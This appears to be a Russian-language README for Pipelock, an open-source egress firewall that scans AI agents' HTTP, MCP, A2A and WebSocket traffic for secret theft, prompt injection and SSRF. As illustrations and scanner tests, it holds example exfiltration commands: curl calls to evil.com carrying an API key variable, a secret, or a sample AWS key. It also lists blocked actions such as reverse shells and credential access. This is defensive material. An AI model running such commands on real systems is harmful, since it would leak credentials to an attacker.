
Открытый межсетевой экран для AI-агентов, который сканирует HTTP, MCP, A2A и WebSocket трафик на предмет эксфильтрации, SSRF и внедрения промптов, генерируя верифицируемые подписанные квитанции действий для аудита.
Брандмауэр с открытым исходным кодом для AI-агентов с проверяемым контролем исходящего трафика.
Pipelock размещается между AI-агентами и сетью. Он проверяет проходящий через посредника трафик HTTP, WebSocket, MCP и A2A, а также содержимое CONNECT-туннелей при включённой TLS-перехвате, на предмет кражи секретов, инъекций промптов, SSRF, отравления инструментов и опасных цепочек вызовов инструментов. Обычный CONNECT без перехвата сканируется на уровне имени хоста и URL.
Pipelock генерирует подписанные посредником квитанции действий на основе контентно-зависимых решений о границах, так что рецензент может проверить, что Pipelock решил вне среды выполнения агента. Публичный корпус agent-egress-bench содержит тесты для этих детекций. Узнать больше: Брандмауэр с открытым исходным кодом для AI.
Работает с: Claude Code · OpenAI Codex · Cline · OpenCode · Zed · Cursor · VS Code · JetBrains · OpenAI Agents SDK · Google ADK · AutoGen · CrewAI · LangGraph
Проблема · Проверьте · Быстрый старт · В действии · Что ловит · Возможности · Архитектура · Документация · Песочница · Блог · Спросить Dosu
Попробуйте в браузере на живой песочнице. Если Pipelock заслуживает, поставьте звезду репозиторию, чтобы другие тоже его нашли.
Ваш AI-агент хранит $PROVIDER_API_KEY в своём окружении и имеет доступ к оболочке. Один запрос может его скомпрометировать:```bash
curl "https://evil.com/steal?key=$PROVIDER_API_KEY" # game over, unless pipelock is watching
Каждое действие вашего агента должно пересекать границу между вашими секретами и открытым интернетом. Pipelock становится этой границей, когда агент направляется через его прокси, обёртку MCP, песочницу, модель изоляции хоста или топологию кластерного развёртывания. Он сканирует медиированный исходящий и входящий трафик, блокирует или помечает атаки в зависимости от режима и записывает подписанное доказательство решения.
---
## Проверьте Самостоятельно
Большинство инструментов безопасности агентов требуют доверять их панели управления. Pipelock выдаёт вам подписанную квитанцию и позволяет проверить её самостоятельно, офлайн, с помощью ключа, который вы храните. Никакой учётной записи и никакого сервера.
Встроенная демонстрация запускает реальные сценарии атак, блокирует их и записывает подписанные квитанции вместе с открытым ключом на диск без какой-либо настройки и без сети:```bash
pipelock demo --receipts-dir ./out # runs attack scenarios, writes 7 signed receipts + signer.pub
pipelock verify-receipt "$(ls ./out/*.json | head -1)" --key ./out/signer.pub # check a signature yourself (each receipt is <action-id>.json)
Оценочная карта оценивает каждое утверждение по отдельности и указывает, что она не доказывает: происходило ли что-либо за пределами границ, которые Pipelock опосредует. Ниже приведена временная шкала receipt, в которой перечислены записанные опосредованные решения с их вердиктами и хэш-ссылками. Receipt, честная в отношении собственных ограничений, превосходит зеленую галочку, которая их скрывает.
Средство просмотра доказательств бесплатно и не требует лицензии:```bash pipelock evidence serve --receipt-dir ./out # read-only HTML report for one recorded session pipelock evidence view --receipt-dir ./out # static offline report, no server
Две заметки о честности, сделанные заранее. Демо-версия подписывается эфемерным ключом, который она выводит для запуска, что доказывает, что квитанции самосогласованны, а не привязаны к именованной идентичности. Публичная игровая площадка Pipelock — это отдельный путь, который проверяет подпись по ключу, публикуемому Pipelock. А оператор, запускающий Pipelock, хранит ключ подписи, поэтому квитанция доказывает, что решила граница и что владелец ключа подписал её, а не то, что оператор честен. `pipelock anchor receipts` записывает контрольные точки цепочки квитанций в локальное хранилище или в журнал прозрачности Rekor для последующего аудита, а независимая от оператора проверка по этой контрольной точке всё ещё доказывается от начала до конца.
Полное обоснование того, почему доказательство лучше обещаний, приведено в [демонстрация вместо аттестации](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/security/demonstration-over-attestation.md).
---
## Быстрый старт```bash
# Install from source (Go 1.25+)
go install github.com/luckyPipewrench/pipelock/cmd/pipelock@latest
# Set up local agent integrations and generate a config
pipelock init
# Test the scanner
pipelock check --url "https://evil.com/?k=AKIAIOSFODNN7EXAMPLE" # blocked: AWS Access ID
pipelock check --url "https://docs.python.org/3/" # allowed
docker pull ghcr.io/luckypipewrench/pipelock:latest
brew install luckyPipewrench/tap/pipelock
</details>
<details>
<summary>Проверить целостность релиза</summary>```bash
gh attestation verify pipelock_3.2.0_linux_amd64.tar.gz --owner luckyPipewrench
gh attestation verify oci://ghcr.io/luckypipewrench/pipelock:v3.2.0 --owner luckyPipewrench
Релизные рабочие процессы публикуют SLSA-провенанс, CycloneDX SBOM, контрольные суммы и подписанные образы контейнеров. Сборка из исходного кода с помощью go install создает бинарник только для сообщества; готовые релизные артефакты включают код платного уровня, который активируется при наличии действительного лицензионного ключа.
Панель управления оператора Pro/Enterprise (pipelock dashboard serve) — это консоль только для чтения для работы с подписанными доказательствами. Она поддерживает аутентификацию по токену, OIDC или mTLS; ограниченные права RBAC; представления метаданных с редактированием; повышение до уровня сырых данных; записи жизненного цикла исключений; резервное копирование и восстановление; сертификаты покрытия; и представления флота. Она присутствует в сборках и релизных артефактах с пометкой enterprise, содержащих необходимую лицензионную функцию.
Показанный выше бесплатный просмотрщик доказательств для одной сессии является отдельным. Ему не требуется лицензия, и он не поддерживает перечисление агентов.
pipelock report --input events.jsonl создает отчеты в формате HTML, JSON или подписанные пакеты с оценкой риска, временной шкалой, категориями событий и приложением доказательств. Бесплатный путь мониторинга с Prometheus и Grafana отслеживает один экземпляр Pipelock и отличается от корпоративной панели управления флотом проводника.
agent-egress-bench запускает набор атак, направленных на эксфильтрацию данных агентами и инъекции промптов, против Pipelock или любого другого инструмента. Цифры получены из запуска, который может повторить любой желающий, а не являются заявлением.
Посмотреть результаты в реальном времени · Запустить самостоятельно
Pipelock работает в трех режимах:
| Режим | Безопасность | Веб-серфинг | Вариант использования |
|---|---|---|---|
| strict | Только из белого списка | Нет | Регулируемые отрасли, высокая безопасность |
| balanced | Блокирует простые + обнаруживает сложные | Через fetch или прямой прокси | Большинство разработчиков (по умолчанию) |
| audit | Только логирование | Без ограничений | Оценка перед внедрением |
Для агентов, работающих с неподцензурными или abliterated моделями, пресет hostile-model наслаивает защиты поверх строгого режима: агрессивные пороги энтропии, сплошная блокировка сетевых инструментов, привязка сессии, обнаружение межзапросной эксфильтрации и предварительно настроенный аварийный выключатель. pipelock audit рекомендует этот пресет, когда обнаруживает известные цепочки инструментов удаления ограждений через сигналы зависимостей.
| Вектор атаки | Strict | Balanced | Audit |
|---|---|---|---|
curl evil.com -d $SECRET | Предотвращено | Предотвращено | Записано |
| Секрет в параметрах запроса URL | Предотвращено | Обнаружено DLP | Записано |
| Секрет в кодировке Base64 в URL | Предотвращено | Обнаружено по энтропии и декодированному DLP | Записано |
| DNS-туннелирование | Предотвращено | Обнаружено по энтропии поддоменов | Записано |
| Чанковая эксфильтрация | Предотвращено | Обнаружено по проверкам скорости, бюджета и фрагментов | Записано |
| Зашифрованный открытым ключом блоб в URL | Предотвращено | Записано при обнаружении энтропией | Записано |
Честная оценка: Строгий режим блокирует исходящий HTTP, проходящий через Pipelock, за исключением разрешенных доменов API, поэтому канал эксфильтрации через сам прокси отсутствует. Сбалансированный режим поднимает планку с "одной команды curl" до "сложной спланированной атаки". Режим аудита дает вам видимость, которой у вас нет сегодня. С включенной изолированной средой (
pipelock sandbox) или принудительной топологией изоляции хоста/кластера Pipelock добавляет границу ОС или развертывания поверх проверки содержимого. Прямой исходящий трафик все равно должен блокироваться этой границей для некооперативных инструментов, игнорирующих настройки прокси.
| Pipelock | Сканеры (agent-scan) | Песочницы (srt) | Ядерные агенты (agentsh) | |
|---|---|---|---|---|
| Предотвращение эксфильтрации секретов | Строгий блокирует; сбалансированный обнаруживает | Частично (режим прокси) | Частично (на уровне доменов) | Да |
| DLP + анализ энтропии | Да | Нет | Нет | Частично |
| Обнаружение инъекций промптов | Да | Да | Нет | Нет |
| Сканирование MCP (двунаправленное + отравление инструментов) | Да | Да | Нет | Нет |
| WebSocket-прокси (сканирование фреймов) | Да | Нет | Нет | Нет |
| HTTP-транспорт MCP (Streamable HTTP) | Да | Нет | Нет | Нет |
| Аварийный выключатель (6 источников) | Да | Нет | Нет | Нет |
| Обнаружение цепочек вызовов инструментов | Да | Нет | Нет | Нет |
| Песочница процессов (без Docker) | Да | Нет | Нет | Да (на уровне ядра) |
| Один бинарник, без зависимостей | Да | Нет (Python) | Нет (npm) | Нет (ядро) |
Справочная матрица: docs/comparison.md
Канонический центр сравнения: AI runtime security comparison
| Угроза | Покрытие |
|---|---|
| ASI01 Agent Goal Hijack | Сильное: двунаправленное MCP + сканирование ответов |
| ASI02 Tool Misuse | Частичное: прокси как контролируемый инструмент, сканирование MCP |
| ASI03 Identity & Privilege Abuse | Сильное: разделение возможностей + защита SSRF |
| ASI04 Supply Chain Vulnerabilities | Частичное: мониторинг целостности + сканирование MCP |
| ASI05 Unexpected Code Execution | Умеренное: одобрение HITL, отказ по умолчанию |
| ASI06 Memory & Context Poisoning | Умеренное: обнаружение инъекций + распространение заражения сессии |
| ASI07 Insecure Inter-Agent Communication | Частичное: сканирование MCP/A2A, идентификатор агента, целостность, подпись |
| ASI08 Cascading Failures | Умеренное: архитектура с отказом по умолчанию, ограничение скорости |
| ASI09 Human-Agent Trust Exploitation | Частичное: режимы HITL, логирование аудита |
| ASI10 Rogue Agents | Сильное: белый список доменов + ограничение скорости + разделение возможностей |
Подробности, примеры конфигурации и анализ пробелов: docs/owasp-mapping.md
Pipelock — это AI egress proxy и MCP security control. Он располагается между вашим AI агентом и сетью, сканирует исходящий и входящий трафик и генерирует подписанные квитанции плюс метаданные посредничества для аттестации за пределами среды выполнения агента. Оценка рабочей нагрузки AARP/SVID на сегодняшний день выполняется на стороне верификатора: прокси и среда выполнения MCP не используют SVID-доказательства в реальных решениях разрешить/запретить и не привязывают идентификатор субъекта квитанции к X.509-SVID.
block, strip, warn или ask.text/event-stream от шлюзов LLM и MCP HTTP/SSE обрабатываются токен за токеном с по-событийным и скользящим межсобытийным сканированием DLP и инъекций. Обнаружение завершает поток с отказом по умолчанию. См. руководство по потоковому SSE.<pl:aws-access-key:1>, в HTTP, WebSocket и аргументах MCP tools/call. Квитанции записывают активный профиль и подсчеты по классам вместо секретов в открытом виде.pipelock explain <url> (также explain event <id> и explain mcp) выводит сканнер, слой, правило совпадения, проверяемую поверхность и наиболее узкий доступный конфигурационный рычаг для ложного срабатывания. См. docs/cli/explain.md.pipelock canary генерирует конфигурацию honeytoken. Появление синтетического секрета в исходящем трафике доказывает, что агент или что-то в его цепочке эксфильтрирует переменные окружения. См. канареечные токены.pipelock skill-scan инвентаризует файлы навыков агента, сравнивает их с блокировочным файлом оператора и отмечает комбинации источник-приемник, такие как учетные данные-сеть-приемник или shell-запись, с указанием строки доказательства до начала выполнения. См. docs/cli/skill-scan.md.Pipelock оборачивает MCP-серверы двунаправленным сканированием:```bash
pipelock mcp proxy --config pipelock.yaml -- npx -y @modelcontextprotocol/server-filesystem /tmp
pipelock mcp proxy --upstream http://localhost:8080/mcp
pipelock run --config pipelock.yaml --mcp-listen 127.0.0.1:8889 --mcp-upstream http://localhost:3000/mcp
- **Input scanning:** Запросы MCP-клиентов проверяются на утечки DLP и инъекции в аргументах инструментов.
- **Response scanning:** Ответы сервера сканируются до того, как их увидит агент.
- **Tool poisoning:** Описания в `tools/list` проверяются на скрытые инструкции и внезапные изменения в ходе сессии.
- **Tool policy:** 17 встроенных правил блокируют деструктивные удаления файлов, доступ к учетным данным, обратные оболочки, механизмы персистентности, выполнение закодированных команд и другие高危 вызовы инструментов до их выполнения.
- **Tool call chains:** 10 встроенных шаблонов по категориям и осям обнаруживают разведку, кражу учетных данных, подготовку данных, персистентность, эксфильтрацию и цепочки обратных вызовов с настраиваемой толерантностью к пробелам.
- **A2A inspection:** Трафик протокола Google Agent-to-Agent проверяется на прямом пути и на пути MCP; Pipelock не является отдельным прокси-сервером A2A.
- **Authenticated MCP HTTP listeners (v3.2.0):** не-петлевые MCP-слушатели по умолчанию закрыты и требуют `--mcp-auth-token-file` или явного `--mcp-allow-unauthenticated` для сетевых изолированных развертываний. Безтокеновые петлевые слушатели отклоняют DNS-rebound и неверные порты Host, а также очищают учетные данные слушателя из заголовков.
### Изоляция
Изоляция непривилегированных процессов использует нативные примитивы ОС. Linux использует Landlock, seccomp и сетевые пространства имен. macOS использует профили `sandbox-exec`. В контейнерах `--best-effort` сохраняет Landlock и seccomp, когда создание пространств имен ограничено, а сетевое сканирование использует маршрутизацию на основе прокси.```bash
pipelock sandbox --config pipelock.yaml -- python agent.py
pipelock sandbox --best-effort -- python agent.py
pipelock mcp proxy --sandbox --config pipelock.yaml -- npx server
Изоляция хоста идет дальше на Linux:```bash pipelock contain install pipelock contain verify pipelock contain run -- claude-code
`pipelock contain install / run / verify / rollback / add-tool / grant-workspace / revoke-workspace / ca-refresh` управляет моделью 3-UID оператор/прокси/агент с nftables owner-match маршрутизацией, настройкой systemd-сервисов, командами-обёртками, ACL рабочих областей, обновлением CA и свидетельствами состояния. См. [`docs/contain-cli.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/contain-cli.md).
### Свидетельства и квитанции
- **Бортовой самописец:** журнал свидетельств в формате JSONL с хэш-цепочкой, подписанные контрольные точки Ed25519 и редактирование по DLP. `pipelock init` создаёт каталог самописца и ключ подписи для штатных установок; самописец остаётся неактивным, пока не существуют каталог и ключ. См. [Бортовой самописец](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/flight-recorder.md).
- **Квитанции действий:** подписанные записи, выдаваемые для опосредованных действий, содержащие вердикт, хэш политики, транспорт и уровень сканера. Блоки создают квитанции; принудительное использование квитанций пути allow-path требует `flight_recorder.require_receipts`. Проверяйте с помощью `pipelock verify-receipt --key <signer.pub>`. Незакреплённые запуски являются только структурными и завершаются с ненулевым кодом, если не передан `--allow-unpinned`.
- **Обёртка посредничества:** метаданные боковой полосы RFC 8941 в пересылаемых HTTP-запросах и MCP `_meta` с типом действия, вердиктом, идентификатором субъекта, хэшем политики, контекстом заражения и идентификатором корреляции квитанции. См. [руководство по федерации](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/federation.md).
- **Соответствие квитанций:** четыре независимые кроссязыковые реализации верификатора (Go, TypeScript, Rust и Python) выполняются на одном общем [корпусе соответствия](https://github.com/luckypipewrench/pipelock/blob/HEAD/sdk/conformance/), включая некорректные и подделываемые входные данные, такие как дублирующиеся ключи, целочисленное переполнение и непарные суррогаты. Браузерная поверхность wasm повторно использует реализацию верификатора Go. Оценка AARP/SVID остаётся офлайн-профилем верификатора, а не принудительным применением идентичности во время выполнения.
- **Якоря:** `pipelock anchor receipts` записывает контрольные точки цепочки квитанций в локальный бэкенд или Rekor. Привязка к Rekor является доказательным материалом для последующего аудита; верификация Rekor требует закреплённых ключей журнала, а сквозной путь независимости оператора ещё доказывается.
- **Капсула состояния:** `pipelock posture emit` и `pipelock posture verify` создают и проверяют подписанный снимок состояния принудительного применения политики развёртывания с CI-шлюзом и моделью оценки, чтобы рецензент мог подтвердить, что граница настроена так, как заявлено.
### Флот и предприятие
- **Панель оператора:** `pipelock dashboard serve` — консоль только для чтения над подписанными свидетельствами. Pro открывает обзор, свидетельства, исключения, агенты, бюджеты и представления «Доверие и ключи»; Enterprise добавляет представления «Флот», «Рабочее место» и «Инциденты». См. [`docs/cli/dashboard.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/dashboard.md).
- **Бесплатное средство просмотра свидетельств:** `pipelock evidence serve` и `pipelock evidence view` отображают один выбранный сеанс самописца без лицензии или перечисления агентов. `pipelock evidence verify-cert` проверяет выданные Pro сертификаты покрытия офлайн.
- **Кондуктор:** плоскость управления флотом Enterprise для подписанного распространения пакетов политик, подписанного приёмника свидетельств (`pipelock fleet-sink`), регистрации, удалённого отключения, отката, сухого прогона, повторного воспроизведения решений и предварительной проверки дрейфа состояния выполнения/применения через mTLS/SPIFFE. Последователи применяют локально; режим устаревшей политики по умолчанию активирует независимый источник запрета после своего окна отсрочки, в то время как документированное переопределение `continue_last_known_good` ослабляет эту позицию. Conductor не хранит секретов агентов. См. [руководство по Conductor](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/conductor.md).
- **Юридическое удержание:** `pipelock dashboard legal-hold add/list/release` управляет удержанием сохранности как метаданными соответствия, хранящимися вне HTTP-авторитета панели, так что скомпрометированная панель может читать удержания, но никогда не подделать или удалить их.
- **Поведенческий базовый уровень:** профилирование-затем-блокировка поведения MCP-инструментов с помощью `pipelock baseline list/show/ratify/forget` для одобрения оператором и переобучения. См. [`docs/cli/baseline.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/baseline.md).
### Эксплуатационные возможности
- **Аварийный выключатель:** шесть независимых источников активации: файл конфигурации, удалённый API, SIGUSR1, файл-маяк, удалённое отключение Conductor и обнаружение устаревшего пакета. Любой один активный источник блокирует трафик с исключениями для конечных точек и IP в контроллере.
- **API сканирования:** программное сканирование для вердиктов `url`, `dlp`, `prompt_injection` и `tool_call` с аутентификацией по токену-носителю, ограничением скорости на токен, структурированными результатами и метриками Prometheus. См. [docs/scan-api.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/scan-api.md).
- **Файловый маяк:** отслеживает рабочие каталоги агента на предмет записи секретов на диск и связывает записи с линией подпроцесса MCP в Linux. См. [docs/guides/filesystem-sentinel.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/filesystem-sentinel.md).
- **Эмиссия событий:** пересылает события аудита в SIEM, вебхуки, syslog, CEF, OTLP и выходные метрики без блокировки горячего пути прокси. См. [docs/guides/siem-integration.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/siem-integration.md).
- **Оценка безопасности:** `pipelock assess init`, `pipelock assess run` и `pipelock assess finalize` координируют симуляцию атак, оценку конфигурации, проверку установки и обнаружение MCP в воспроизводимый пакет свидетельств. Критические уязвимости, такие как незащищённые MCP-серверы, ограничивают оценку независимо от числового балла. Бесплатная сводка показывает ваш класс, оценки по разделам и главные результаты; лицензия открывает полный отчёт с результатами по конкретным серверам, командами исправления и свидетельствами, подписанными Ed25519.
<details>
<summary>Дополнительные возможности</summary>
| Функция | Что делает |
|---------|-------------|
| **Отчёты аудита** | `pipelock report --input events.jsonl` генерирует HTML/JSON/пакетные отчёты с оценкой риска, временной шкалой и приложением свидетельств. Подпись Ed25519 через `--sign`. ([Пример отчёта](https://github.com/luckypipewrench/pipelock/blob/HEAD/examples/sample-report.html)) |
| **Диагностика** | `pipelock diagnose` выполняет 7 локальных проверок для сквозной верификации вашей конфигурации без сети. |
| **Доктор принуждения** (v2.5) | `pipelock doctor` сообщает статус настроено-против-возможности принуждения для проксирования, перехвата TLS, сканирования тела запроса, Browser Shield, обёртки MCP, целостности двоичных файлов MCP, происхождения инструментов, file_sentry, Sentry и сигналов границ развёртывания. |
| **Блокировка внедрения тела запроса** (v2.5) | Результаты выявления внедрения подсказок и критического DLP в теле запроса жёстко блокируют нецелевые назначения в режиме принуждения через прямые, обратные, TLS-перехват и WebSocket-транспорты с заголовками причины блокировки для видимой оператору диагностики. |
| **Политика запросов** (v2.6) | Разрешительные по умолчанию/запретные/предупредительные рельсы для исходящих операций API: сопоставление маршрута плюс предикаты операций GraphQL, рекурсия в конверты JSON `$batch`, закрытие с ошибкой на непарсируемых или непрозрачных телах и выполнение перед шлюзом контракта. См. [руководство по политике запросов](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/request-policy.md). |
| **Перехват TLS** | Опциональный MITM туннеля CONNECT: расшифровка, сканирование тел/заголовков/ответов, повторное шифрование. `pipelock tls init` генерирует CA, затем `pipelock tls install-ca` выводит шаги установки в хранилище доверия платформы. |
| **Подсказки блокировки** | Опциональное `explain_blocks: true` добавляет предложения по исправлению к заблокированным ответам. |
| **Аудит проекта** | `pipelock audit ./project` сканирует на предмет угроз безопасности и генерирует адаптированную конфигурацию. |
| **Оценка конфигурации** (v2.6) | `pipelock audit score --config pipelock.yaml` оценивает состояние безопасности по 23 категориям с бюджетом в 170 баллов и буквенной оценкой. |
| **Целостность файлов** | Манифесты SHA256 обнаруживают изменённые, добавленные или удалённые файлы рабочей области. |
| **Защита Git** | `git diff \| pipelock git scan-diff` ловит секреты перед коммитом. |
| **Подпись Ed25519** | Управление ключами, подпись файлов и верификация подписи для многогаентного доверия. |
| **Профилирование сессий** | Поведенческий анализ на сессию для всплесков доменов и скачков объёма. |
| **Адаптивное принуждение** | Оценка угрозы на сессию с эскалацией от предупреждения до блокировки, таймеры деэскалации и обнаружение всплесков доменов. |
| **Адаптивный CLI оператора** (v2.5) | `pipelock adaptive status / flush / whoami` предоставляет состояние адаптивного выполнения во время выполнения через аутентифицированный API администратора. См. [`docs/cli/adaptive.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/adaptive.md). |
| **Подавление находок** | Заглушение известных ложных срабатываний через правила конфигурации или встроенные комментарии `pipelock:ignore`. |
| **Поддержка нескольких агентов** | Идентификация агента через заголовок `X-Pipelock-Agent` для фильтрации по агенту. |
| **Мониторинг флота** | Прометеевские метрики на экземпляр плюс готовая к импорту [панель Grafana](https://github.com/luckypipewrench/pipelock/blob/HEAD/configs/grafana-dashboard.json). Бесплатный мониторинг одного экземпляра, отличный от Conductor. |
| **Панель оператора** (v3.1, Pro/Enterprise) | `pipelock dashboard serve` предоставляет доступные только для чтения обзоры: Обзор, Свидетельства, Исключения, Агенты, Бюджеты, Доверие и ключи, Флот, Рабочее место и Инциденты с аутентификацией по токену, OIDC или mTLS, ограниченным RBAC, повышенным уровнем сырого просмотра, резервным копированием/восстановлением, записями жизненного цикла исключений и сертификатами покрытия. См. [`docs/cli/dashboard.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/dashboard.md). |
| **Бесплатное средство просмотра свидетельств** (v3.1) | `pipelock evidence serve` обслуживает один выбранный сеанс самописца как HTML-отчёт только для чтения без лицензии и без перечисления агентов. `pipelock evidence verify-cert` проверяет выданные Pro сертификаты покрытия офлайн. |
| **Conductor: плоскость управления флотом** (v2.7, Enterprise) | Подписанное распространение пакетов политик, подписанный приёмник свидетельств аудита (`pipelock fleet-sink`), регистрация, удалённое отключение, откат политик, сухой прогон, повторное воспроизведение решений и предварительная проверка дрейфа состояния выполнения/применения через mTLS/SPIFFE. Ограничен функцией лицензии `fleet`; поведение при устаревшей политике явное и по умолчанию строгий запрет. См. [руководство по Conductor](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/conductor.md). |
| **A2A сканирование** | Обнаружение отравления карт агентов, мониторинг дрейфа карт и предотвращение контрабанды сессий для протокола Google Agent-to-Agent на прямых/MCP путях. |
| **Поведенческий базовый уровень** | Профилирование-затем-блокировка поведения MCP-инструментов с помощью `pipelock baseline list/show/ratify/forget` для одобрения оператором и переобучения. См. [`docs/cli/baseline.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/baseline.md). |
| **Защита от истощения средств** | Бюджеты MCP на агента для общего количества вызовов инструментов, повторных попыток одного инструмента, обнаружения циклов/петель и времени выполнения по стене. |
| **Эскалация заражения** | Повышение политики на основе экспозиции через границы MCP и задач до восстановления доверия. |
| **Обёртка посредничества** | Метаданные боковой полосы RFC 8941 в пересылаемых HTTP-запросах и MCP `_meta` с входящей верификацией, защитой от повторного воспроизведения, форматом субъекта SPIFFE и каталогом ключей подписи RFC 9421. См. [руководство по федерации](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/federation.md). |
| **Соответствие квитанций** | Кроссимплементационный набор верификации квитанций (`sdk/conformance/`) через независимые реализации Go, TypeScript, Rust и Python, плюс браузерная поверхность wasm на основе Go. `EvidenceReceipt v2` использует канонизацию RFC 8785/JCS. Оценка AARP/SVID остаётся на стороне офлайн-верификатора. |
| **Изучай-и-блокируй** (v2.4) | Поведенческие контракты на агента: наблюдайте за трафиком, компилируйте подписанный проект контракта, воспроизводите захваченные наблюдения в тени, ратифицируйте по правилу, продвигайте подписанный активный манифест и принудительно применяйте к транспортам с URL-адресами плюс вызовы MCP инструментов. См. [руководство по learn-and-lock](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/learn-and-lock.md). |
| **Заголовок причины блокировки** (v2.4) | `X-Pipelock-Block-Reason` на путях блокировки, поддерживающих HTTP, с тем же словарём причин в метаданных ошибок MCP JSON-RPC. См. [Заголовок причины блокировки](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/block-reason-header.md). |
| **Сторожевой таймер обнаружения сбоя** (v2.4) | `health_watchdog` возвращает `/health` 503, когда пульс подсистемы становится устаревшим. См. [руководство по конечной точке health](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/health.md). |
| **Форма плагина провайдера редактирования** (v2.4) | Сторонние парсеры редактирования для API чата Anthropic, OpenAI и Gemini с формой плагина провайдера для парсеров от третьих лиц. |
| **Схема пакета аудита v0 + верификаторы** (v2.5) | Первая сторона канонической схемы пакета аудита с реализациями верификаторов Go, TypeScript и Rust, плюс отдельный CLI [`pipelock-verifier`](https://github.com/luckypipewrench/pipelock/blob/HEAD/cmd/pipelock-verifier/). Схема находится в [`sdk/audit-packet/`](https://github.com/luckypipewrench/pipelock/blob/HEAD/sdk/audit-packet/); пакеты верификаторов — в [`sdk/verifiers/`](https://github.com/luckypipewrench/pipelock/blob/HEAD/sdk/verifiers/). |
| **Жизненный цикл изоляции хоста** (v2.5) | `pipelock contain install / run / verify / rollback / add-tool / grant-workspace / revoke-workspace / ca-refresh` управляет моделью изоляции с 3 UID. См. [`docs/contain-cli.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/contain-cli.md). |
| **Манифесты целостности MCP** (v2.5) | `pipelock mcp integrity manifest generate / verify / sign / verify-signature` закрепляет двоичные файлы/скрипты сервера MCP по хэшу и может требовать доверенную подпись манифеста перед запуском подпроцесса. См. [`docs/cli/mcp-integrity.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/mcp-integrity.md). |
| **Контракт лаунчера MCP в Kubernetes** (v2.5) | `pipelock init sidecar --mcp-upstream` выдает конфигурацию сопутствующего слушателя, порт сервиса, аннотации рабочей нагрузки, правило NetworkPolicy, `PIPELOCK_MCP_PROXY_URL` и смонтированный `PIPELOCK_MCP_CONFIG`. См. [`docs/cli/init-sidecar.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/init-sidecar.md). |
| **Строгий режим федерации** (v2.5) | Входящая верификация обёртки посредничества требует по умолчанию субъектов формата SPIFFE, контрактные надгробия применяются, и `pipelock envelope trust add/list/remove/verify` управляет локальным доверием. См. [руководство по федерации](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/federation.md). |
| **Политика медиа** | Удаляет стеганографические метаданные из JPEG/PNG, отклоняет аудио/видео по умолчанию, укрепляет активное содержимое SVG и устанавливает ограничения размера изображений. См. [Медиа-политика](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/media-policy.md). |
| **Карты соответствия** | OWASP MCP Top 10, OWASP Agentic Top 15, OWASP LLM Top 10, NIST 800-53, EU AI Act и карты закупок/аудита. |
</details>
---
## Бесплатно, Pro и Enterprise
Все детектирование, принуждение, изоляция и одноагентные свидетельства бесплатны навсегда под лицензией Apache 2.0. Платные уровни добавляют координацию нескольких агентов (Pro) и управление флотом плюс соответствие (Enterprise).
| Возможность | Free | Pro | Enterprise |
|---|:--:|:--:|:--:|
| Сканирование и обнаружение (упорядоченный конвейер URL, DLP, внедрение, SSRF, потоковое SSE, редактирование, защита адресов) | Yes | Yes | Yes |
| Сканирование MCP и A2A (ввод, ответ, политика инструментов, цепочка инструментов, отравление, целостность, аутентифицированные слушатели) | Yes | Yes | Yes |
| Изоляция, песочница, `contain` на хосте, 6-источниковый аварийный выключатель | Yes | Yes | Yes |
| Квитанции действий, бортовой самописец, якоря, бесплатное средство просмотра свидетельств, `verify-cert`, отдельный верификатор | Yes | Yes | Yes |
| Канареечные токены, skill-scan, `explain`, одноэкземплярный Prometheus и Grafana | Yes | Yes | Yes |
| Профили на агента: идентичность, бюджеты, изоляция конфигурации и сканера, песочница на агента | No | Yes | Yes |
| Маршрутизация на агента по CIDR источника и сетевому селектору | No | Yes | Yes |
| Панель оператора: Обзор, Свидетельства, Исключения, Агенты, Бюджеты, Доверие и ключи | No | Yes | Yes |
| Сертификаты покрытия на агента | No | Yes | Yes |
| Юридическое удержание и метаданные соответствия | No | Yes | Yes |
| Плоскость управления флотом Conductor, приёмник аудита `fleet-sink`, удалённое отключение, откат, повторное воспроизведение решений, предварительная проверка дрейфа | No | No | Yes |
| Регистрация последователей mTLS и подписанное распространение политик, верифицированное списком участников | No | No | Yes |
| Представления флота панели: Флот, Рабочее место, Инциденты | No | No | Yes |
Подписанный отчёт `pipelock assess` является отдельным правом `assess`, независимым от Pro и Enterprise. Бесплатная оценка assess не изменилась.
---
## Как это работает
Pipelock использует **разделение возможностей**: в принудительном развёртывании процесс агента имеет секреты, но не имеет прямого доступа к сети. Pipelock имеет сетевой доступ, но не секреты агента. Даже если агент подвергнется инъекции подсказок, он не сможет добраться до элементов управления брандмауэра.
Три режима HTTP-прокси (один и тот же порт), плюс выделенный MCP-прокси и инспекция A2A на прямом и MCP путях:
- **Fetch-прокси** (`/fetch?url=...`): Получает URL, извлекает текст, сканирует на внедрение, возвращает чистое содержимое.
- **Прямой прокси** (`HTTPS_PROXY`): Стандартное туннелирование HTTP CONNECT без изменения кода приложения. Настройка прокси всё ещё требуется. Опциональный перехват TLS позволяет сканировать полезную нагрузку.
- **WebSocket-прокси** (`/ws?url=ws://...`): Двунаправленное сканирование кадров с DLP + обнаружением внедрения.
- **MCP-прокси** (`pipelock mcp proxy`): Обёртка stdio- или HTTP-серверов MCP с двунаправленным сканированием.
